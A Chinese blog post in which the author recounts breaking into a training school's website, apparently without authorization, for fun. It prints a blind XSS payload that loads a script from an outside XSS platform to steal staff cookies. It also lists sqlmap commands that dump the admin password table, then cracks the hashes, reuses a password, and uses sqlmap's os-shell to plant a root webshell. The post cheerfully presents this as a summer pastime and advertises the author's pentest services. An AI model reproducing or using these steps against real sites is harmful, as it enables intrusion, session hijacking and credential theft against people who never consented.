零、前言
有技术交流或渗透测试培训需求的朋友欢迎联系QQ/VX-547006660,需要代码审计、渗透测试、红蓝对抗网络安全相关业务可以看置顶博文
2000人网络安全交流群,欢迎大佬们来玩
群号820783253
一、起因
emmm,炎炎夏日到来,这么个桑拿天干什么好呢?
没错,一定要坐在家里,吹着空调,吃着西瓜,然后静静地挖洞。挖洞完叫个外卖,喝着啤酒,撸着烧烤,岂不美哉?然此可为智者道,难为俗人言也。。。正在我沉迷在对夏日的意淫之时,我亲爱的妈妈忽然给我来了一波夺命连环call。
大概内容如下:
--妈妈:儿呀。。。你印布隐私(认不认识)搞公务员培训的机构,帮我在网上瞅瞅去,我有个朋友他儿想考公务员~
--我:(声音笑嘻嘻,心里mmp)哎呀,这个bia的天,搁家里睡觉行了。。别弄了。。
--妈妈:MLGB,叫你整,你就快点的,晚上给我回电话。
哎,父母之命不可违,悲伤的我只能放下手里的键盘和瓜皮,开始去百度上找培训机构。
百度上面找了好久,都没找到太合适的。问了问身边的朋友:朋友给了一家网校的报名地址
http://.com/3g//2203947.htm
没错,还带免费试学。。。真的先进。。。。
然而作为一名做培训的职业小学生,怎么肯轻信这种网校的培训质量?于是打开爱站查了一波权重。。。
这尼玛???百度权7,emmm,有点意思。见到这么高权重的站,那时我已饥渴难耐,便决定对此站点来一波渗透测试。
二、XSS盲打?安排一下
看到这里,小伙伴们肯定想。。。emm,是不是可以XSS打一下试试呢?
说干咱就干。。。见框就插,接下来就插入xss payload试试吧。。。
Payload: </textarea><script src="="http://xsspt.com/z6ocdy?1531815744"></script>
将payload完整黏贴进去,如图发现仅有</tex 这四个字符
审查元素看下,在表单处理上设置了maxlength,直接审查元素大法改掉就好了
max length改为999
然后我们的XSS Payload就可以正常地全部输入到表单中了
手机那个文本框,我随便填了11位数字,然后点击提交,万幸的的是提交成功了(后端没对内容进行验证)
过了大概1个小时,突然XSS平台的邮件来了,兴奋ing。。。(客服是真的敬业)
拿着cookie,挂好代理傻啦吧唧地就是进入后台一波浏览,发现权限非常小,基本上只能处理处理客服工作
不过可以查看后台的管理员账号。。。。。(果然是个大站,后台分工权限这么讲究。。。)
看着这么多的超级管理员账号,而我却只是个吊毛客服,基本上没什么权限,心里真的难受的一批。。
难道我们的渗透到这里就要结束??不可能,这显然不符合本屌的风格。。。
于是我又仔细地翻了翻后台,看看有没有地方可以来一波骚操作。。。
三、后台SQL注入?讲究
大家可以看到我们的客服处理界面是可以进行查询的,查询的过程是通过GET方式传导一个mobile参数实现查询
我们直接测试一下SQL注入的Payload,看看是否存在注入。发现页面没有返回信息,那么就很有可能存在SQL注入。
我们使用BurpSuite来抓取本出的的HTTP请求,然后保存在C:\Users\Samsung 700Z5C\Desktop\1.txt中
接下来到了以小勃大,紧张刺激的时刻,使用SQLMAP的 -r参数,注入本HTTP请求
sqlmap -r C:\Users\Samsung 700Z5C\Desktop\1.txt
注入成功了。哈哈哈。。。。我们开始直奔管理员的表
命令为sqlmap -r C:\Users\Samsung 700Z5C\Desktop\1.txt --tables -D "nd_net"
//列出nd_net数据库的表
然后执行
sqlmap -r C:\Users\Samsung 700Z5C\Desktop\1.txt --columns -T "net_admin_user" -D "nd_net" //列出net_admin_user
表的字段
最后执行命令
sqlmap.py -r "I:\T00l\1.txt" --dump -C "id,nd_user,userid,nd_pass" -T "net_admin_user" -D "nd_net" --threads=10 //导出net_admin_user表中id,nd_user,userid,nd_pass几个字段的数据
全部是md5加密,拿到cmd5,一波解密,成功获取到所有管理员的账号密码,然后成功登陆以管理员的权限登陆后台
哈哈,讲究!
四、不拿Shell,与咸鱼有什么区别?
emm,就算是管理员的权限。我发现可以利用的地方依然很少,只有一些静态页面的编辑权限(而且编辑器是KindEditor,没什么方法上传拿Shell),我当时十分绝望。。。但是我发现了这个——数据库备份
点击后,跳转到一款叫做“帝国备份王”的程序
随后,我便去该程序的官网,下载了一个帮助文档。使用默认用户admin/123456进行登陆,但是以失败告终。
但我怎末可能放弃,我一个一个测试了之前后台SQL注入得到的密码(有验证码,没法爆破的),最终在一个密码上成功地登陆了。。。我靠,高兴死我。。。。。。。。
发现了一个PHP探针
再掏出SQLMAP,直接使用命令 sqlmap -r C:\Users\Samsung 700Z5C\Desktop\1.txt --os-shell //获取shell
输入我们通过探针得到的路径,很幸运,ROOT权限直接os-shell成功。直接上一句话,GetShell完美结束
五、总结
本次渗透测试,虽然没有骚操作,但是总体来说用到了许多知识,现进行总结
1.XSS盲打技术
2.SQLMAP注入HTTP响应包的语法
3.人性的弱点分析(多个程序用同一个管理密码)
4.从获取绝对路径到SQLMAP获取shell
5.审查元素小技巧